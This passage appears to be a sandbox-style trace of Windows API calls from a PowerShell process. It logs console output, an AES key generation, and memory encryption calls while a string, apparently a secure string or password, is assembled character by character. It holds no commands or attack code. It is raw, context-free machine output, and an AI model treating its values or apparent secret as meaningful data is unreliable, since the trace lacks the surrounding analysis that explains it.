lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0225.051] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0225.052] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0225.052] GetConsoleOutputCP () returned 0x1b5 [0225.052] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0225.053] GetConsoleOutputCP () returned 0x1b5 [0225.053] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0225.053] GetConsoleOutputCP () returned 0x1b5 [0225.053] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0225.053] GetConsoleOutputCP () returned 0x1b5 [0225.053] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0225.053] GetConsoleOutputCP () returned 0x1b5 [0225.054] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0225.054] GetConsoleOutputCP () returned 0x1b5 [0225.054] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0225.054] GetConsoleOutputCP () returned 0x1b5 [0225.054] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0225.054] GetConsoleOutputCP () returned 0x1b5 [0225.054] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0225.054] GetConsoleOutputCP () returned 0x1b5 [0225.054] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0225.054] GetConsoleOutputCP () returned 0x1b5 [0225.055] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0225.055] GetConsoleOutputCP () returned 0x1b5 [0225.055] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0225.055] GetConsoleOutputCP () returned 0x1b5 [0225.055] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0225.055] GetConsoleOutputCP () returned 0x1b5 [0225.055] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0225.055] GetConsoleOutputCP () returned 0x1b5 [0225.055] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0225.055] GetConsoleOutputCP () returned 0x1b5 [0225.056] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0225.056] GetConsoleOutputCP () returned 0x1b5 [0225.056] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0225.056] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0225.056] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0225.056] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x245b0e4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x245b0e4*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0225.057] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0225.057] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0225.058] EtwEventActivityIdControl () returned 0x0 [0225.058] EtwEventActivityIdControl () returned 0x0 [0225.058] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.059] EtwEventActivityIdControl () returned 0x0 [0225.059] EtwEventActivityIdControl () returned 0x0 [0225.059] EtwEventActivityIdControl () returned 0x0 [0225.062] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.062] EtwEventActivityIdControl () returned 0x0 [0225.062] EtwEventActivityIdControl () returned 0x0 [0225.062] EtwEventActivityIdControl () returned 0x0 [0225.064] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cdd0) returned 1 [0225.066] CryptGenKey (in: hProv=0x5c4cdd0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99660) returned 1 [0225.066] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0225.066] CryptExportKey (in: hKey=0x5c99660, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0225.066] CryptExportKey (in: hKey=0x5c99660, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2462abc, pdwDataLen=0x5a2e8c4 | out: pbData=0x2462abc*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0225.066] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.067] EtwEventActivityIdControl () returned 0x0 [0225.067] EtwEventActivityIdControl () returned 0x0 [0225.067] EtwEventActivityIdControl () returned 0x0 [0225.068] SysStringLen (param_1="") returned 0x8 [0225.068] SysStringLen (param_1="5") returned 0x8 [0225.068] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.068] SysStringLen (param_1="偰㖶ﵣ㣈\凘奮篵∊) returned 0x8 [0225.068] SysStringLen (param_1="偰㖶ﵣ㣈\凘奮篵∊) returned 0x8 [0225.068] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.068] SysStringLen (param_1="5x") returned 0x8 [0225.068] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.068] SysStringLen (param_1="\補譾앺뜗鮁뇷悓∜) returned 0x8 [0225.068] SysStringLen (param_1="\補譾앺뜗鮁뇷悓∜) returned 0x8 [0225.068] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.068] SysStringLen (param_1="5xU") returned 0x8 [0225.068] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.068] SysStringLen (param_1="ꦅᖬ唜ȣ틻짣") returned 0x8 [0225.068] SysStringLen (param_1="ꦅᖬ唜ȣ틻짣") returned 0x8 [0225.069] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.069] SysStringLen (param_1="5xUN") returned 0x8 [0225.069] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.069] SysStringLen (param_1="ᰰ\滛摼ⅴ\秜냡Ɒ") returned 0x8 [0225.069] SysStringLen (param_1="ᰰ\滛摼ⅴ\秜냡Ɒ") returned 0x8 [0225.069] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.069] SysStringLen (param_1="5xUNJ") returned 0x8 [0225.069] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.069] SysStringLen (param_1="렡挘쵸亨Ῐ骱벛") returned 0x8 [0225.069] SysStringLen (param_1="렡挘쵸亨Ῐ骱벛") returned 0x8 [0225.069] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.069] SysStringLen (param_1="5xUNJr") returned 0x8 [0225.069] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.069] SysStringLen (param_1="咾᣺｛ભ닪┿뷐๜") returned 0x8 [0225.069] SysStringLen (param_1="咾᣺｛ભ닪┿뷐๜") returned 0x8 [0225.070] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.070] SysStringLen (param_1="5xUNJrU") returned 0x8 [0225.070] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.070] SysStringLen (param_1="៽瀢๸쾛狋뱉") returned 0x8 [0225.070] SysStringLen (param_1="៽瀢๸쾛狋뱉") returned 0x8 [0225.070] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.070] SysStringLen (param_1="5xUNJrUj") returned 0x8 [0225.070] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.070] SysStringLen (param_1="朡冴獍垿៥\\磜") returned 0x8 [0225.072] SysStringLen (param_1="朡冴獍垿៥\\磜") returned 0x8 [0225.072] SysStringLen (param_1="朡冴獍垿៥\\磜") returned 0x8 [0225.072] SysStringLen (param_1="朡冴獍垿៥\\磜") returned 0x10 [0225.072] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.072] SysStringLen (param_1="5xUNJrUjt椡镤즃\髜횡⊵) returned 0x10 [0225.072] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.073] SysStringLen (param_1="朡冴獍垿៥\\磜笐⇟鹸藅枽㈍\⋝) returned 0x10 [0225.073] SysStringLen (param_1="朡冴獍垿៥\\磜笐⇟鹸藅枽㈍\⋝) returned 0x10 [0225.073] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.073] SysStringLen (param_1="5xUNJrUjti镤즃\髜횡⊵) returned 0x10 [0225.073] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.073] SysStringLen (param_1="朡冴獍垿៥\\磜婺欃黄鏈晚㨺⯡") returned 0x10 [0225.073] SysStringLen (param_1="朡冴獍垿៥\\磜婺欃黄鏈晚㨺⯡") returned 0x10 [0225.073] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.073] SysStringLen (param_1="5xUNJrUjtig즃\髜횡⊵) returned 0x10 [0225.073] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.074] SysStringLen (param_1="朡冴獍垿៥\\磜㣑䎏儜嬆挽⌄佧▥") returned 0x10 [0225.074] SysStringLen (param_1="朡冴獍垿៥\\磜㣑䎏儜嬆挽⌄佧▥") returned 0x10 [0225.074] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.074] SysStringLen (param_1="5xUNJrUjtigA\髜횡⊵) returned 0x10 [0225.074] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.074] SysStringLen (param_1="朡冴獍垿៥\\磜뙬춳੓ꅛ鿡격") returned 0x10 [0225.074] SysStringLen (param_1="朡冴獍垿៥\\磜뙬춳੓ꅛ鿡격") returned 0x10 [0225.074] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.074] SysStringLen (param_1="5xUNJrUjtigAvꆚ꣖뗧") returned 0x10 [0225.074] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.075] SysStringLen (param_1="朡冴獍垿៥\\磜郹軅ﺻ廀㣄줰ꦤ") returned 0x10 [0225.075] SysStringLen (param_1="朡冴獍垿៥\\磜郹軅ﺻ廀㣄줰ꦤ") returned 0x10 [0225.075] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.075] SysStringLen (param_1="5xUNJrUjtigAvs꣖뗧") returned 0x10 [0225.075] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.075] SysStringLen (param_1="朡冴獍垿៥\\磜ﻱ赺尷鯤Ꮈ첚뙃捅") returned 0x10 [0225.075] SysStringLen (param_1="朡冴獍垿៥\\磜ﻱ赺尷鯤Ꮈ첚뙃捅") returned 0x10 [0225.075] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.075] SysStringLen (param_1="5xUNJrUjtigAvso뗧") returned 0x10 [0225.075] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.075] SysStringLen (param_1="朡冴獍垿៥\\磜޿呿캻끬阤ᘊ\⋟) returned 0x10 [0225.075] SysStringLen (param_1="朡冴獍垿៥\\磜޿呿캻끬阤ᘊ\⋟) returned 0x10 [0225.075] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.076] SysStringLen (param_1="5xUNJrUjtigAvso4") returned 0x10 [0225.076] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.076] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛") returned 0x10 [0225.076] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛") returned 0x10 [0225.076] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛") returned 0x10 [0225.076] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛") returned 0x18 [0225.076] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.077] SysStringLen (param_1="5xUNJrUjtigAvso4L밟辙扅䋴㦣ऍ뫠") returned 0x18 [0225.077] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.077] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛鋵\蛞쉀悏⶝틕Ў⊐) returned 0x18 [0225.077] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛鋵\蛞쉀悏⶝틕Ў⊐) returned 0x18 [0225.077] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.077] SysStringLen (param_1="5xUNJrUjtigAvso4Lb辙扅䋴㦣ऍ뫠") returned 0x18 [0225.077] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.077] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛ᐈ뙪ថ땭螫Ⓣ") returned 0x18 [0225.077] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛ᐈ뙪ថ땭螫Ⓣ") returned 0x18 [0225.077] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.077] SysStringLen (param_1="5xUNJrUjtigAvso4LbG扅䋴㦣ऍ뫠") returned 0x18 [0225.077] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.077] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛뚳⟍핊᝴軒") returned 0x18 [0225.077] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛뚳⟍핊᝴軒") returned 0x18 [0225.077] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.078] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY䋴㦣ऍ뫠") returned 0x18 [0225.078] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.078] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛뻎ࡁ쭛ꨎ砐䠠뉜쭪") returned 0x18 [0225.078] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛뻎ࡁ쭛ꨎ砐䠠뉜쭪") returned 0x18 [0225.078] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.078] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4㦣ऍ뫠") returned 0x18 [0225.078] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.078] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛鹥Ｒ脪傧ྤ孛഑⤆") returned 0x18 [0225.078] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛鹥Ｒ脪傧ྤ孛഑⤆") returned 0x18 [0225.078] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.078] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lऍ뫠") returned 0x18 [0225.078] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.078] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛煞Ǜԏꂧ粞龱慯滏") returned 0x18 [0225.078] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛煞Ǜԏꂧ粞龱慯滏") returned 0x18 [0225.078] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.079] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lq뫠") returned 0x18 [0225.079] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.079] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛띸ㆢᯱ膣䃵⺺뮕") returned 0x18 [0225.079] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛띸ㆢᯱ膣䃵⺺뮕") returned 0x18 [0225.079] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.079] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqK") returned 0x18 [0225.079] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.079] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ") returned 0x18 [0225.079] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ") returned 0x18 [0225.079] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ") returned 0x18 [0225.080] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ") returned 0x20 [0225.080] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.080] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKG榓踩誺Ỹ輩븘큎") returned 0x20 [0225.080] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.080] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵퟕࡳꩣ塦앐㺟틜") returned 0x20 [0225.080] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵퟕࡳꩣ塦앐㺟틜") returned 0x20 [0225.080] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.080] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGM踩誺Ỹ輩븘큎") returned 0x20 [0225.080] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.080] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ흙\勝셞㍥展檞胍≧) returned 0x20 [0225.080] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ흙\勝셞㍥展檞胍≧) returned 0x20 [0225.080] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.080] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMK誺Ỹ輩븘큎") returned 0x20 [0225.082] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.082] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ캲瘗医緑Ớ壩㸋댮") returned 0x20 [0225.082] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ캲瘗医緑Ớ壩㸋댮") returned 0x20 [0225.082] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.082] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKiỸ輩븘큎") returned 0x20 [0225.082] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.082] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ㣭힊䔸곒㑕炏偽⠍") returned 0x20 [0225.082] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ㣭힊䔸곒㑕炏偽⠍") returned 0x20 [0225.082] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.082] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKis輩븘큎") returned 0x20 [0225.082] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.083] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ鮓䵏蘄䍦ὸ艒᫇") returned 0x20 [0225.083] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ鮓䵏蘄䍦ὸ艒᫇") returned 0x20 [0225.083] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.083] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKisq븘큎") returned 0x20 [0225.083] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.083] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ똱睩鴣ꪤ䃗颂㔕拏") returned 0x20 [0225.083] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ똱睩鴣ꪤ䃗颂㔕拏") returned 0x20 [0225.083] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.083] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKisqx큎") returned 0x20 [0225.083] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.083] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ湆᣺膧鶊ᎁ頄摑䆳") returned 0x20 [0225.083] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ湆᣺膧鶊ᎁ頄摑䆳") returned 0x20 [0225.083] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.084] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKisqx3") returned 0x20 [0225.084] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.084] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹") returned 0x20 [0225.084] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹") returned 0x20 [0225.084] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹") returned 0x20 [0225.084] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹") returned 0x28 [0225.085] SystemFunction041 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.085] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKisqx3u疧䗽⻲솎Â") returned 0x28 [0225.085] SystemFunction040 (in: Memory=0x5c923cc, MemorySize=0x50, 